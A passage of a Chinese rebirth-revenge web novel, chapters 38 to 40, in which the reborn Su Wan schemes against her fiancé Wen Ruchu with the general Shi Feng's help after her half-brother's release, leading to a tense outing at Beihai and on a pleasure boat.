上一世苏绾被禁锢在皇宫,对朝堂争斗有所耳闻。温如初成为内阁首辅之后,权倾朝野,打着“清君侧”的名义,斩尽一数忠良将相,包括时枫的父亲绥靖王时谦。 时枫被贬谪西域边塞驻防,得知消息后怒不可遏,率领三十万讨伐军攻打京师。 温如初本就不得人心,朝廷节节败退。眼看大军来袭,他竟将苏绾推出去当做“祸国妖姬”,替他承担罪名,蛊惑百姓诛杀妖女。 火光冲天,苏绾最后一眼望见,天边红云团聚,那是时枫的讨伐军旗帜。守城士兵左支右绌,只得弃甲曳兵,纷纷溃逃。希望的曙光就在前方,可惜苏绾没能看到尽头。 重活一世,苏绾定要抢在温如初前头,将他的罪恶滔天行径掐灭于萌芽,不给他留丝毫崛起的机会。而唯有牵绊住时枫,借助他的力量,苏绾才能成就复仇大业。 苏尽欢一案,是苏绾为报复苏家,走的第一步棋,后面还会有第二步,第三步,直至全部苏家人付出血的代价。 倘若一开始,她只想逃离温如初的爪牙,未曾想过颠覆苏家。然而大理寺狱中,苏夫人毫不客气送了她七根银针作为赠礼,她怎么也得有所回馈,礼尚往来嘛,就回报一个家破人亡吧。 小小礼物,不成敬意。 葱指拂伤,苏绾淡淡道:“温侍郎并非我的良人,时将军亦非终身托付。我不过权其利害,拿一根棒子,去打另一条狗而已。大棒荆棘刺手,我也没什么好抱怨,路是我自己选的。” 无霜望着苏绾坚毅的神情,瘪了瘪嘴表示不服。她想不通,两个月前小姐还拉着姑爷的手,羞涩地询问他何时来娶她,怎么眨眼间就另觅新欢,一门心思离开姑爷。 无霜暗自揣测,小姐多半被“黑狗将军”——她私底下偷偷这样称呼时枫——迷失心窍,误上贼船。但她不敢轻举妄动,须坐等机会,一举揭穿他假面具。 然而人生不如意,十有八九。苏绾和无霜翘首以待,却只等来刑部的一纸通告。 因案情复杂,证据不足,嫌犯苏尽欢取保候审,即日放归。 38. 释放 黄梅时节家家雨,五月尽时多恶风。苏绾一身青纱襦裙,斜倚阑干,望廊外绵绵细雨,丝丝密密,仿佛张张织网,将她束缚捆绑,勒得她快要窒息。 苏尽欢比她预料的,早了一点被释放归家。三日前的清晨,苏尽欢被差役架着,一瘸一拐,满鬓沧桑,蹒跚回到苏府。 才刚迈进门槛,大老远听见苏夫人尖着嗓子,急急奔来,“怎么还给拷着?快打开手镣脚镣,刑部干的可是人事?” 苏尽欢也不走,大嘴一咧,脚底一滑,蹲在天井哭嚎:“娘亲~” 苏夫人扑倒儿子,母子俩相拥而泣,一个道“孩儿好苦”,一个道“心肝宝贝”。泪水滂沱,淹没整座宅院。 差役等得不耐烦,上前一拉扯散他俩,动手除去束缚苏尽欢的镣铐,嘱咐道:“原本是要一直上镣的,但上头批了特例,准许不戴。所有取保候审的犯人,以家宅为中心,行动范围,不得离开方圆五里之地。每隔两日,须向京直隶巡检司报到,并由县衙主簿记录在册。倘若违反任一律例,即刻缉拿归案。听清楚了吗?” 苏夫人撇撇嘴,正想驳斥差役无礼,旁边苏君识摁着袖子,抢先回复:“犯官知道了,不饶差爷烦恼。” 差役唱了个喏,即风风火火打道回府,余留满院尘土飞扬。仆役们进进出出收拾东西,打扫庭院,整座苏府像是获得新生,又重新活络起来。 晚间苏夫人张罗一桌宴席,说要给苏尽欢“接风”。苏尽欢拄着拐杖,佝偻腰身,好像小老头,满脸委屈道:“好主意!还是娘亲疼我,知道我在牢里受了大难。没吃没喝不说,狗日的狱卒,净拿皮鞭子蘸水抽我,儿子浑身上下,就没一处好皮肉。” 说着,还应景似的,挤出一滴咸泪,疼得苏夫人一把搂在怀里,“我儿受苦、我儿遭罪”,喊个不停。她的一双儿女,自打出生,就没离开过她一日,也没受过半点委屈。如今含金汤匙的少爷,竟然落了大狱,叫她怎能不心疼。 苏君识耷拉老脸,没好气似的,捋了捋袖管,骂道:“接风、接风,你这孽子,不气死老子你不罢休。捅出天大的篓子,还不知悔改,你爹这张老脸,都快被你丢尽了。这个家,早晚败在你手里。” 苏夫人松开搂抱苏尽欢的手臂,端正坐在椅内,抬手整理发髻,丹凤眼直飘,“欢儿能全须全尾的回来,虽说托的是温侍郎的人情。但这里面归根结底,还是仰仗你舅舅的福报。倘若没有你舅舅,就是被人打死在大牢,也没人替你叫屈。” 苏君识本意还想借着温侍郎的名头,挫一挫苏夫人的威风,让她偃旗息鼓,从此不再作威作福。谁知苏夫人轻飘飘一句话,即抹杀温侍郎的功劳。只能说愿景虽美好,现实忒残酷。 苏君识缩了缩身躯,赌气似的,转头吩咐家丁,“叫西边二奶奶、小少爷,以及二小姐一齐回来参加晚宴。” 一弯弦月挂树梢,好似弯刀,刺入茫茫黑夜,将天空割裂得七零八落,亦如苏绾的心。 她坐在髹红圆杌凳,瞧着满桌的山珍海味,一点胃口都没有。相反,还有点干哕。 乳娘因为避嫌,并没有跟来,芸娘只好自己带宝哥儿。让厨房将米粥煮得烂烂的,装进漆盒,带到晚宴给宝哥儿吃。 芸娘举着小如雀卵的白瓷汤匙,一点一点喂给宝哥儿,那举动细心体贴,蓦然间,让苏绾回忆起大理寺书房,那个家伙也是这般喂她吃粥。 突然间,又有点感动。 他没有骗她。这桩案子,最后败在温如初手里。 上一世,温如初利用巡察杭州茶叶征收的机会,同殷潜打成一气,大肆搜刮民财,甚至贪墨朝廷赈灾款。随后他将这笔银款洗干净,转而送进章任梁的口袋,作为投名状,求纳入首辅麾下。 然章任梁并非贪财之人,银钱不能收买人心。温如初只好打起苏绾的主意,将她送至阁老床榻。 阁老霸占她的身子长达两年之久,这期间,温如初成功入阁,并在得逞后一年内,解决了章任梁,自己取而代之,成为内阁首辅。 眼前她什么都没做,那温如初如何说服阁老出马,动用都察院截了这桩案子? 苏绾不得而知,但她明白,现实的刀刃,已经架在脖颈,她无路可退。 正寻思间,忽然苏夫人以筷子点了点案席,“欢儿此行平安归来,多亏了姑爷相助。咱们也不能不讲礼数,以往是是非非先不必计较,五月三十,赶上朝廷休沐。你们下帖子请姑爷游北海园子,亲自道谢。知道了吗?” 苏君识拦阻,“儿子取保候审,又不是完全脱罪,请什么客赴什么宴,这不是赤裸裸打刑部的脸吗?” 苏夫人翻了翻眼皮,不以为然,“怎么了?北海离咱们家,也就二里地,并不超出刑部规定五里范畴,有何不可?我还倒要让那些盼着苏家倒霉的人看看,我儿完好无缺,看谁还敢看轻咱们。” 完好无缺? 苏尽欢经此一难,不但腿脚被打瘸,走路半边身子栽歪。取保候审之人,今生再无功名可考,仕途全废不说,连带着苏君识的官途也要受影响。 最要命的,还是那合欢散的副作用。 苏尽欢回来不过半日,色心即蠢蠢欲动,身旁并无长得好看的婢女——苏夫人早就将房内的使唤丫头,清一色的换成五十岁老嬷嬷。 纨绔少年急火攻心,干脆抓了身边的小厮淬火,结果磨蹭半日,徒劳白费力气——银样镴枪头,倒真真应验了! 苏君识缩着脖颈,低头嘟囔:“姐夫公务繁忙,孩儿就不去叨扰了吧,叫苏绾贱蹄子招呼她夫君。” 扭头凶苏绾,“你好生伺候姐夫,倘若有何闪失,我叫爹爹罚你跪祠堂。” 想必苏夫人已将隋太医所谓的“小妾说”转达给温如初,这个节骨眼去见温如初,属实自投罗网。苏夫人这一招“借刀杀人”,用得还算中规中矩。 叫她如何应对? 思来想去,几日不得安宁。碰上连绵细雨,苏绾偶感风寒,咳嗽发烧不断,几乎卧床不起。 无霜跑去跟管家嬷嬷讨要药材,又被骂得狗血喷头。后来还是苏夫人房里的小丫头阿沁,偷偷拿了定神补气的药塞给无霜。 可那药吃下去根本无用,夜长梦多,苏绾躺在塌上翻来覆去,口中不住叫喊“烧死我了”,“疼煞我也”,“杀尽恶鬼”,唬得无霜直呼救命。 芸娘慌忙从箱子里拿出一包银子,连夜派文竹出门寻夜诊大夫。 那大夫磨磨蹭蹭,走了半日才到,切脉诊断一番,也只开些祛除风寒的药方。 看着苏绾活活受罪,芸娘望向同样手足无措的无霜。俩人知晓苏绾体内七根银针作怪,太医院都束手无策,何况山野大夫。 那边苏绾发烧说胡话,这边时枫也不得好过。 他料到温如初背后的底气非比寻常,但他决然不会想到,竟然是当今内阁首辅章任梁。 时枫同阁老打过几次照面,其人正气凛然,治国理政,厉行法治,乃大熹江山肱骨之臣。温如初竟然不知不觉,攀上令人望而生畏的高度。 时枫紧了紧眉头,放下手里捏着的信笺,那是苏府“鳐鱼”递来的消息。 信上说,苏绾暂时安好,最近有些着凉,吃的不多。苏家忙着照顾苏尽欢,以及拉拢讨好温如初,约定五月三十,一同游北海。 她生病了。 为什么? 怪他没办成事么? 胸中闷着一股火气,也不知道因何而起。时枫揉搓睛明穴,抬眼正撞见一双明亮的眼眸,圆溜溜地望着他,好似溪边光滑的鹅卵石。 “枫哥哥,别总皱眉头嘛,不好看哟。” 沈枝意一身杏黄石榴裙,背着小手站在眼前,袅袅婷婷,好似啼啭的黄莺。 “你来了。”时枫嘴角扬了扬,“怎么没去街角溜达?” 自从上次惹得沈枝意不高兴,被沈恪拿住把柄教训,时枫意识到自己态度不端正,很少拒绝沈枝意的请求。 “街边逛腻了呀,卖糖水的大婶都知道我的名字啦。每次去都送我一盅酸梅汤,清清爽爽,可好喝了。”小手不停比划着,愈加像是跳舞的鸟儿,灵动活泼。 时枫忍不住伸手点了点她光洁的额头,“仗着可爱,搜刮百姓,罪过。” 葱指拢住男人的大掌,沈枝意光亮的眼眸闪了闪,“我也送大婶一朵石榴花,插在鬓头可美啦,大婶笑得花枝乱颤。” 她抓着时枫的手不肯松开,旋裙绕过桌案,来到跟前,“不要管大婶啦,枫哥哥,带我出去玩嘛。”掀眸望了门外方向一眼,扁着小嘴,“晴雷这几日也见不到影子,没人陪我玩。” 时枫任由她撒娇,勾了勾唇,“再玩就成野丫头了。”低下长长的睫毛,忽然一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 桩心事涌上心头,他拍了拍沈枝意的小手,“我带你去逛逛北海,可好?” “真的吗?”沈枝意眼睛一亮,“太好了呀,咱们何时去呢?越快越好。” “不急,五月三十,朝中休沐,适宜出游。”时枫垂下眼眸,眼底泛出不易察觉的色彩。 沈枝意高高兴兴捉裙离去,如鸟雀扇动羽翼,刮起杏黄色的香风,扑了趸进门的晴雷一脸。 少年不住揉搓眼角,脚步明显慢了下来。 “瞎不了,走快些。”时枫催促道。 晴雷眯缝着眼,快挤出眼泪来,干脆闭眼摸索前行,“爷吩咐属下调查的事情,已经有了眉目。” 时枫一听,凤眸昱昱,迫不及待道:“快说。” 晴雷一边摸索,一边清了清喉咙,“苏君识数年前于‘春月坊’包养一位清倌人,名叫九香,是位歌舞伎。苏君识畏惧苏夫人雌威,只敢让那外室居住行院,不久生下女婴,就是苏绾。” “女孩长到八岁时,苏夫人撞破苏君识豢养外室的秘密,强行迎娶回府。两年后,苏夫人治了九香卖身罪名,将其沉塘溺死。” 光顾着说话,也没寻到椅子凳子歇脚,干脆袖口擦拭眼睛,这才勉强有了光亮,“苏绾长到十七岁,嫡女苏沅芷诬陷苏绾盗窃,苏夫人将苏绾卖到行院,幸亏遇见温如初,这才救下苏绾。” 晴雷瞧着时枫脸色越来越暗,尽量放缓语气,“温如初对苏绾青眼相看,一心娶她为妻,特请求户部尚书梁才认养苏绾为干女儿。虽为挂虚名,然则京城坊间,家喻户晓,苏家这位庶女,山鸡变凤凰。” 时枫凤眸虚眯,“小小贱妾庶女,受尽世态炎凉,白眼屈辱。既得温侍郎庇佑,当视为天赐良机。何故弃之如敝履,拜求解除婚约?” 晴雷转了转眼珠,“许是因为不喜欢。” “不喜欢?” 时枫念叨这三个字,心里百转千回。她一贱妾庶女,轮得到由她来决定,喜欢谁不喜欢谁。 苏绾的经历不算新闻,认识她接近仨月,苏家如何虐待她,他也曾亲眼目睹。他只是奇怪,即便如此,苏绾也没有理由,越过温如初,转而投靠他。 除非温如初,另藏有秘密。 时枫抬了抬眼,“叫你查温如初的底细,如何?” 晴雷插着双臂,努了努嘴,“温侍郎白璧无瑕,十四岁进大慈恩寺做俗家弟子,十八岁状元及第,授从六品翰林院修撰,十九岁抽调从五品户部员外郎,二十二岁擢升正三品户部侍郎……” “说些我不知道的。”时枫不耐烦地打断他。 晴雷眼眸一闪,“温侍郎人脉广泛,在京各司,六部五寺,都察院,兵马指挥,国子监,翰林院,或多或少都与他沾亲带故,交情匪浅。如今京城上下,也就皇宫内部他进不得,尚且够不到司礼监。然京中皆传言,不出三年,温侍郎准能入阁。” “哦。”时枫渐渐脸色阴沉。 他印象中的温念,性格内向,什么时候变成一个完全陌生的人。不但官场上挥斥方遒,就连三法司断案都能插上一脚,实力不可小觑。 晴雷拍了拍手掌,“爷近十年来一直跟着老爷和大爷,在西北边塞历练,当然不晓得京城诸权贵之间的关系。如今爷被调遣至京师驻防,少不得要跟京城官场打交道,面上准会碰见温侍郎……” “碰见怎么了?我会怕他不成?”时枫凤眸一凛。 晴雷俯身道:“属下是说,爷要从温侍郎眼皮子底下,将苏绾的婚约解除,恐怕绝非易事,苏家的案子就是警示。爷在京城,单枪匹马独斗,前途恕难预料。” 他并非忌惮温如初,凭他时家的根基,以及父亲、大哥和他三人积攒的军功,朝中无人望其项背。 倘若换做以前,他认为自己犯不上,何必为红颜祸水,同兄弟反目成仇,葬送大好前途? 然而自他与苏绾相识以后,从她口中得到截然相反的形象。他本不信邪,但端阳节在醉仙楼,她用血和泪,向他阐述仇恨冤屈。 那他就不得不相信,温如初才是那个恶人。 他既已给了苏绾承诺,答应替她扫平前路阻碍,哪管路途凶险,魑魅魍魉,一概横刀剿灭杀绝。 月落参横,辗转反侧之际,又觉得自己不值,为那一晌贪欢,他竟要赔上身家性命。 可笑,亦可悲。 39. 北海 红木书桌上摆着文房四宝,整整齐齐,茶盏里的碧螺春香气袅袅。多宝阁内珍品妙玩,缥缃佛经翻卷皴裂。香炉内檀香烟纠缦,一缕茶烟透碧纱。墙上悬挂宝剑一柄,宝石剑坠晶莹透彻。 温如初独坐在书房桌案前,端起一盏碧螺春,轻轻地啜茶,茶香混杂紫檀轻烟,书房弥漫。 桌案摆着一份请帖,粉色薛涛笺写就,下角印一支桃花,上写:“苏家二小姐苏绾,邀请贵府温侍郎,五月三十同游北海,以叙离情。” 温念温如初起步户部,升至从五品户部员外郎。世人皆认为,他已爬到官场顶端,再难向上攀升。 谁知温如初神来一笔,在户部尚书梁才鼎力支持下,抛出惊世骇俗的“一条鞭法”,震惊朝野四方,廿二岁破格擢升正三品户部侍郎。 温如初提出,把各州县的田赋、徭役以及其他杂征总为一条,合并征收银两,按亩折算缴纳。这种“通计一省丁粮,均派一省徭役”的方法称为:一条鞭法。 “一条鞭法”大大简化了税制,方便征收税款。同时使地方官员难于作弊,进而增加财政收入。 圣上龙颜大悦,摩拳擦掌,欲在全国推行赋税改革。试点首推赋役繁重的江苏、安徽和浙江省。 由于触及官绅地主的经济利益,地主隐瞒土地,躲避赋税现象严重,致使三省推行赋税改革半年有余,迟迟不见成效。 在这节骨眼,内阁大学士章任梁上本,请旨延缓赋税改革在全国施行,取消江西、福建和两广的推行政策。对于“一条鞭法”支持与否,章任梁态度始终讳莫如深。然而若“一条鞭法”半途而废,温如初的云衢官路戛然而止。 温如初并非第一次同首辅打交道,他的投名状,早在两年前便交到章任梁手里。而苏家逆子苏尽欢一案,迫使温如初早早动了章任梁这步棋,是他以户部尚书梁才名义,写信请求都察院参与审理此案。 章任梁给了他温如初面子,都察院将此案完美解决,苏家全身而退,除了苏尽欢受的一点皮肉之苦以外,没有人得到处罚。 求人的代价,便是牺牲掉“一条鞭法”的公正公平。下一步棋怎么走,取决于章任梁想不想要他活。仅凭他一己之力,恐怕难以再次翻身。若想打动章任梁,得需一块敲门砖,投其所好,才能逃过此劫。 大慈恩寺的番僧慧明法王,曾替他打卦,认为他命里注定得到天赐的锦斓袈裟,可偿今生所愿。而这件袈裟已经幻世为人,名为苏绾。 是时候,请出他的保命袈裟了。 早在两年前,他私底下布置眼线,打探到浙江省布政使殷潜妹妹苏殷氏,嫁给吏部郎中苏君识为妻,苏君识膝下两女一子,儿女皆未成亲。 嫡女苏沅芷嚣张跋扈,大小姐脾气,难以拿捏控制。相比之下,庶女苏绾木讷,文静贤淑,定会成为趁手的工具。 温如初就此敲定娶苏绾为妻的决心,佳人才子采兰赠芍,情路顺遂。 月晕而风,接连不断的波折,让敏锐的温如初,察觉到一丝危险的气息。 苏绾似乎不再如之前那般逆来顺受,虽然她表现得听话乖巧,但他总觉得,她隐藏在暗处的眼神,充满不可名状的敌意。 所有证据均指明:奸夫确有其人,多半就是冷面阎罗,京卫指挥使,时枫。 时枫,时将军。 温如初心里反复琢磨他的名字。 纳征一日,他得到奸夫身上扯下来的墨玉证据;苏绾假扮算命书生,结果被隋太医当做时枫的小妾诊治;端午节醉仙楼后,徐尚书唠叨的那句话:“时将军所言有理,这果然是条明路”,应是时枫故意引导徐尚书拖住他,导致他迟到早退宴席,其目的在于帮助苏绾粉饰太平。 谜底尚未揭晓,但温如初心中已有九分把握,剩下一分,是他对兄弟留有的最后一丝信任,与时樾一事的愧疚。 他只有一事不明:他们俩,究竟是何时搭连到一起的? 温如初双眉一挑,素白手指拾起薛涛笺,狠狠地揉搓一团。书房内弥漫着淡淡的檀香味,阳光透过窗户洒进来,映照俊美面容,仿佛一尊白玉雕像。 春色将阑,莺声渐老,转眼间到了五月三十。 夏日的北海,一派祥和景象。北海乃城内一方湖泊,辖通城外护城河及江沿江口,面积宽广辽阔。岸边景色澹宕,群山万壑环绕,亭台楼榭倒映。 正值仲夏之始,柳亸莺娇花复殷,吸引京城众多妖童媛女,联袂踏青,赏花品酒对诗,附庸风雅。 马车缓缓停泊,车上轻步落下一位绝世美人,一搦腰,三阙裙,集万千妖娆于一身,眼波流转,明媚如丝,勾得路人流连忘返。 经过几日休养,苏绾的烧退了,咳嗽减轻许多,气色还有待恢复,但这并不影响她的美貌。她依然是街景最光辉美好的一笔。 那笔色彩明亮,闪了路边等候仕女团的眼睛,她们粉妆极重,粉屑飞扑,团扇遮面惊呼:“好美的人儿。” 忽然跌足一个趔趄,差点被人撞满怀,苏绾玉手扶额,双眼漫漶,看不清楚路人。 “哟,这是谁家的小娘子,这般俊俏耐看。可是在等心上人儿?别等了,洒家带你玩。”一声调侃响起。 不等苏绾回应,那人说着,上手竟去摸她的脸颊。 眼看咸猪手迎面袭来,苏绾心内颤抖。千钧一发之际,却见襕衫公子身形一闪蹿上前来,举起手刀打落那人手腕, “哎哟。”疼得那人直喊娘。 路见不平,拔刀相助。 苏绾正欲向襕衫公子表达谢意,谁知后面又蹭蹭窜出七八彪形大汉,纷纷出手扶起那人。 糟糕,帮手来了。 来者不善,苏绾悄悄后退两步,伺机欲逃。 其中一位络腮胡大汉趸步上前,不由分说抡拳猛搥那人腹部,只一击就将那人击昏。 络腮胡甩了甩手腕,回头向襕衫公子拜道:“奴才不懂事,望公子赎罪。” 襕衫公子瞟了一眼地上躺倒的“死猪”,厌恶道:“乌合之众,难成大事。” 络腮胡愧道:“此人乃外编,临时叫过来凑数,不曾想竟这般不抵。” 襕衫公子背过手去,语气冰冷,“将他丢进江里喂鱼。” 络腮胡低头道:“是。” 使了个眼色,命令手下迅速将那人抬离。 风过如呼吸,襕衫公子甩袖扬长而去,全程看也不看苏绾一眼。 一段离奇经历插曲,结局颇令人玩味。 京城三千繁华地,各路神仙打架,不足为奇。 苏绾星眸卷睫扇了扇,捉裙趸步跟随,东风沉醉,桃花乱雨,红尘三条界阡陌,男男女女递嬗涌入路的尽头。 不多时,温如初翩翩而至。穿牙白锦袍,簪星曳月,乌黑发髻插银白小冠,桃花泛水眼眸,缱绻多情。俊逸出尘,清风朗月,宛如谪仙下凡。 从前苏绾对他一见钟情,深陷那对桃花眼眸,难以自拔。眼前她只觉那两道目光寒凉,仿佛致命枷锁,紧紧束缚心头血肉,令人感到窒息无力。 “绾绾。” 温如初俯首睐目苏绾,眼眸蕴含深情眷恋,“数日未见,你又瘦了些,可曾吃好睡好?有没有受委屈?” 苏绾障扇浅笑,“绾绾无碍,吃得饱,睡得香,念哥哥不必牵挂。” “甚好。” 温如初面露悦色,牵着葇荑,引入岸边凉亭。亭内摆设双凳一案,案上一壶筛酒,并点心小食。亭外石榴花开,清风徐来,香气扑鼻。 “虽说是你下帖子请我,然则你小小女儿家,哪里来的进项,断没有叫你做东的道理。” 温如初宽袖伸展,引苏绾落座,二人对花把酒,沉寂一阵。 温如初道:“最近公务繁忙,又困 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 于你弟弟的案子,着实有些头疼。今日闲来无事问青山,正好与绾绾推心置腹诉衷情。” 苏绾拿不准他端地是什么态度,使的是哪里招数,总归不是想与她邀杯共饮,少不得又是一拨风霜刀剑的审问。 对付温如初,她无任何把握。 如玉公子端坐石凳,嘴角噙着笑意,独自举起酒杯,轻轻啜一口。 “绾绾,你可曾有负于我?” 开门见山迎头劈面一问,令苏绾如被霹雳击中,浑身颤抖。脑子里快速思索破局手段,千丝万缕思绪,唯剩淼淼迷茫。 “我没有。”苏绾娇声,扑倒温如初膝下,“念哥哥,绾绾发誓,绝无二心。” 温如初见惯她这副娇滴滴求人的模样,他伸手一把推开她,眼眸露出凶光,“那你怎么解释,这些风言风语,嗯?” 那双桃花眼眸泛出的狠戾之色,活了两世,她再熟悉不过。 眼前浮现出他的另一道身影,皇冠龙袍加身,攥着她的手腕,用同样的语气对她道:“大军压境,我怎么舍得放你走,嗯?” 重生以来,苏绾夜夜噩梦缠身,无数次梦到温如初提着油壶,哗啦啦,向她头顶浇灌松脂油。 无论她怎样哭喊挣扎,他都无动于衷,并亲手将燃烧的火折子塞进她口中,堵住她的呼吸呐喊。 叫她怎么能不逃? “念哥哥,可是又听人构陷我同小厮捱光?” 苏绾哭道:“冤煞我也。我身边接触小厮,统共不过一个文竹。念哥哥知道的,文竹身世凄惨,十岁被人牙子净身,送进宫中当太监。后来管事太监嫌他不够机灵,又不要他了,这才被苏家买来为奴。我怎可能跟文竹不清不楚?” 温如初弹指拨去衣襟上飞落杨絮团,眉心紧拧三分,显然对这番辩解不满意,“谁说是小厮?绾绾不至于这般轻贱自己。” 抬起头,桃花眼眸泛着冷光,“难道非要我亲自说出他的名字吗?” 苏绾捶胸顿足,凄婉道:“念哥哥为何听信别人谗言,唯独不相信绾绾?绾绾心死如灰。” “就在前几日,夫人为遮掩苏尽欢丑事,竟栽赃嫁祸到绾绾身上,直言是我诱骗他,又联合隋太医,构陷我同人通奸,将我塑造成娼妇形象。若非念哥哥出手,夫人就要立即将我捆绑,送到刑部衙门抵罪去也。” 佳人一度哽咽不能言,抽泣几轮,“人言可畏,绾绾无话可说。倘若念哥哥决定放弃绾绾,绾绾、绾绾……” 挥手拔出发髻金簪,紧紧攥在手里,“不该活在这世上,与君就此死别……” 佳人泪洒东风,挥簪自刎。 锋利的簪尖闪着金光,眼见触及肌肤。 温如初眼眸一凛,二指聚力,啪得一下打掉手里金簪。 他因着在大慈恩寺修行几年,武功力道都属上乘,并非传统观念的“手无缚鸡之力”的软弱书呆子。 “念哥哥……” 哭泣着,身子骨一软,苏绾跌进温如初怀里,玉软花柔,粉泪盈盈,楚楚可怜。 “何必管我?” 诉不尽嗔痴哀怨,道不完脉脉情仇,多情总似无情恼。 “你怎么这么傻?”温如初蹙眉道,“就算你最后真的变心,也犯不着拿命来换。天底下没有比你的命,更重要的东西。” 温如初双手环绕苏绾,揩去粉嫩面颊残泪,“乖,不哭了,我相信你。” 星眸坠水,桃花含泪,美人泣声:“念哥哥,你不要我了吗?” 温如初最爱她这副稚齿婑媠的模样,忍不住低首贴近唇瓣,声如润玉,“怎么会不要你?我爱你还不够,恨不得将你贴近我怀里。” 佳人才子缠绵悱恻,落花飞絮成春梦。 忽然凭空一声冷笑,风声鹤唳,直入九霄,“光天化日之下,云衢三品大员,不顾礼仪,公然搂抱,成何体统?” 40. 画舫 苏绾抬眸,眼前男人一身玄色窄袖丝袍,目光清冷,剑眉横挺,俊美无俦的脸颊,布满阴鸷肃杀气息,带着久经沙场的漠然无情。仅仅是长身玉立,却给周遭带来可怕的威慑感。凤眸涌动着微光,化作咆哮铁兽,瞬间将苏绾吞没。 他怎么来了? 温如初停顿一息,桃花眼眸闪了闪,随即拿出往常八面玲珑的模样,言笑晏晏:“原来是榆白兄,你不是再也不来赴我这无聊的宴席么?我怎好强人所难。” “枫哥哥,你走得太快,都不等人家。” 窈窕姽婳女子映入眼帘,身形纤细,体态婀娜,般般入画,自有轻灵之气。眉弯如月,含着浅浅笑意,明眸秋水,好似花间朝露。 “原来你佳人有约,偏要来臊我,是何道理?”温如初支颐笑道。 时枫一本正经介绍:“枝意乃家父世交沈恪沈老将军之独女,她初来乍到,我奉世伯命,带她游览京城。” 沈枝意道了个万福,“小女见过温侍郎。我非京城人士,从小长在江南,第一次进京,看什么都新鲜。多亏枫哥哥带我行走各处,长长见识。” 声音细软,像是江南最缠绵的风,透着股甜腻。 她回眸瞄了一眼时枫,障袂莞尔,“枫哥哥说,北海的花开得正盛,叫我来品花间一壶酒。没想到,捕捉对影一双人。” 这个家伙该来的时候不来,不该来的时候偏偏乱入。想必他还不知道,温如初已拿到所谓的“人证”和“物证”,这会子正审判她。 若非她那一招“以退为进”,假装挥簪自刎,刺在温如初的心头,他绝不会放过对她的严刑拷打。 死人,对他来说毫无用处。 苏绾团扇遮面,偷偷拉扯温如初锦袍衣角,怯声道:“既然时将军有约,我们不便打扰。” 温如初拢住苏绾的手,柔声道:“正是,我们还要去游湖,就此别过罢。” 时枫掀眸暗自瞥了一眼苏绾,垂下眼眸对温如初道:“想走?没那么容易。今日你犯在我手里,我非要好好敲诈你一顿不可。” 某种不易察觉的光芒自桃花眼眸一闪而过,温如初看了看苏绾,又扫了扫时枫,嘴角微微上扬,“既然你那么有雅兴,我自当舍命奉陪,榆白有何打算呢?” 时枫望了一眼凉亭外的天空,“游湖没多大趣味,我包了一艘画舫,出城沿江而下,吟诗作对行酒令,如何?” 五月天气变脸,方才响晴碧空,转眼间阴雨霏霏,凉露沾衣。四人前脚刚上画舫,后脚濯枝雨立马坠下来。 沈枝意掸了掸裙裾沾染的雨泥,吐了吐小舌,“好险,再迟些,咱们全要浇成落汤鸡。” 苏绾脚程慢了一步,淋了点雨水,额发洇湿成绺。正欲抬袖擦拭,忽然一顶松花帕子从天而降,收拢光阴罩住螓首,熟悉的雪松香气恍惚萦绕。 她呆愣着,瞬间血气倒流,帕子底下的瞳孔倏地放大,心跳急剧加速。 她晓得,那顶帕子的主人是谁。 苏绾僵立在那,心里揣着一个念头:完蛋了,要被发现了。 电光火石间,修长手掌按向头顶,轻轻揉搓,伴随着温柔的微微责怪的声音,“怎么出来自己不带帕子?还要借别人的。” 苏绾一怔,随即讪笑道:“原本带了的,大概忘在凉亭了。” 温如初细心为她揩去发髻雨水,将帕子收进袖里,扭头对着时枫一笑,“想必你也不要那帕子了,我替你收着罢。” 时枫睨了一眼苏绾,鼻腔哼了一声。 四人临窗而坐,苏绾刻意捡了张时枫对面的席位,左边坐着沈枝意,右边是温如初。 船家奉上新鲜果品,并一壶糯米酒,竟还有一盘妃子笑荔枝。 苏绾未出阁之前,从未啖过荔枝滋味。苏家每年都收到殷家千里递送果品,偶尔一两年会有荔枝,但总轮不到苏绾的份儿。 上一世她跟随温如初巡察浙江,终于品尝到岭南荔枝的味道。她对其爱不释手,以至于入宫以后,还常常得到机会进食荔枝贡品。 所谓“一骑红尘妃子笑,无人知是荔枝来”。 温如初在这些琐碎上,对她极其宠溺。她喜欢的吃食用度,他从来不会亏待她。 这也是上一世苏绾对他死心塌地的原因之一,她总自欺欺人地认为,他是爱她的,不然怎么会为她吃口荔枝,不惜跋山涉水,劳民伤财也要弄到手。 温如初奇道:“这可是稀罕物,榆白哪里弄来的?” 沈枝意笑道:“枫哥哥借花献佛,我替人做嫁衣裳。” 原来是沈恪进京时,特意带来的贡品,种在聚宝盆里,总共三十棵荔枝树。 温如初揿起一枚果,小心剥开外壳,剔去果核,递至苏绾嘴边,“绾绾,这是荔枝,味道香甜饱满,你一定喜欢。” 苏绾不敢拒绝,檀口微张,啖入果肉。她细品几下,装作从未吃过的样子,不住地颔首微笑。 不经意间嘴角沾染汁液,温如初以拇指轻轻碾过唇瓣,眼神挂着无奈,“怎么吃的到处都是。” 苏绾眼角扫了一眼对面的时枫,见他正黑脸觑她,吓得连忙收回视线,“绾绾给念哥哥丢人了。” 结果,她明显感觉到,对面传来的气息更加凝重窒息,沉重的威压感扑面而至,仿佛泰山压顶。 温如初亦捏了捏苏绾面颊,“绾绾不必怕他,榆白与我竹马之交,从小玩到大,相知有素,他的丑事我知晓一箩筐。” 沈枝意一听,来了劲头,“你知道枫哥哥什么丑事?快快说出来,让我们乐一乐。” 温如初畅然一笑,“无非就是些掏鸟蛋被老鹰啄破头,偷果子被守园人打断腿,下河捞鱼结果绔子顺水漂走之类的顽皮趣事。” 沈枝意笑道:“枫哥哥原来这般淘气不顶事,怎么我看不出来?” 时枫冷眼道:“哼,敢情我替你捱的那些拳头,都是瞎子点灯——白费蜡。” 温如初两手一摊,“哎?你帮我顶的那些祸事,我可都好吃好喝补偿给你了,还叫你好几声哥哥。” 沈枝意问道:“咦?温侍郎小时候受人欺负吗?都是枫哥哥帮你打退敌人的?” 温如初眯眼道:“他不过是纸老虎——外强中干。况且他时常不在家,后来我都靠自己。” 时枫冷笑道:“凭你那三脚猫功夫,剑术耍得像猴戏,吓唬人而已。” 沈枝意惊道:“温侍郎懂剑术?看不出来。” 温如初摆摆衣袖,言语谦虚:“榆白说的对,我不过随便耍耍,不成大器。” 